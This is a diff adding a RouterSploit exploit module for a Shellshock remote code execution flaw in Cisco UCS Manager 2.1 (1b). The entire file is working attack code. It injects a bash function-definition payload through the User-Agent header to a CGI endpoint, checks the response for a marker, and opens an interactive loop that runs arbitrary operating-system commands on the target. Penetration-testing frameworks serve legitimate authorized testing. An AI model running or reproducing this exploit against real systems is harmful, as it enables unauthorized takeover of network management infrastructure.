cisco ucs manager exploit rce - shellshock

routersploit/modules/exploits/cisco/ucs_manager_rce.py

+import requests
+import re
+
+from routersploit import *
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for Cisco UCS Manager 2.1 (1b) Remote Code Execution vulnerability.
+    If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.
+    """
+    __info__ = {
+        'name': 'Cisco UCS Manager RCE',
+        'description': 'Module exploits Cisco UCS Manager 2.1 (1b) Remote Code Execution vulnerability which allows executing commands on operating system level.',
+        'authors': [
+            'thatchriseckert', # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
+        ],
+        'references': [
+            'https://www.exploit-db.com/exploits/39568/',
+            'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash',
+        ],
+        'targets': [
+            'Cisco UCS Manager 2.1 (1b)',
+        ]
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1')
+    port = exploits.Option(80, 'Target Port')
+
+    def run(self):
+        if self.check() == True:
+            print_success("Target is vulnerable")
+            print_status("Invoking command loop...")
+            self.command_loop()
+        else:
+            print_error("Target is not vulnerable")
+
+    def command_loop(self):
+        while 1:
+            cmd = raw_input("cmd > ")
+            print self.execute(cmd)
+
+    def execute(self, cmd):
+        url = sanitize_url("{}:{}/ucsm/isSamInstalled.cgi".format(self.target, self.port))
+        headers = {
+            "User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; echo ffffffffffffffff; echo "$(%s)"; echo ffffffffffffffff;' % cmd
+        }
+
+        try:
+            r = requests.get(url, headers=headers, verify=False)
+            res = r.text
+        except requests.exceptions.MissingSchema:
+            return "Invalid URL format: %s" % url
+        except requests.exceptions.ConnectionError:
+            return "Connection error: %s" % url
+
+        if 'ffffffffffffffff' in res:
+            res = re.findall("ffffffffffffffff(|.+?)ffffffffffffffff", res, re.DOTALL)
+            if len(res):
+                return res[0]
+
+        return False
+
+    def check(self):
+        # meaby random mark should be implemented
+        url = sanitize_url("{}:{}/ucsm/isSamInstalled.cgi".format(self.target, self.port))
+        headers = {
+            "User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; echo 9fdbd928b52c1ef61615a6fd2e8b49af;'
+        }
+
+        try:
+            r = requests.get(url, headers=headers, verify=False)
+            res = r.text
+        except:
+            return None
+
+        if "9fdbd928b52c1ef61615a6fd2e8b49af" in res:
+            return True
+
+        return False
+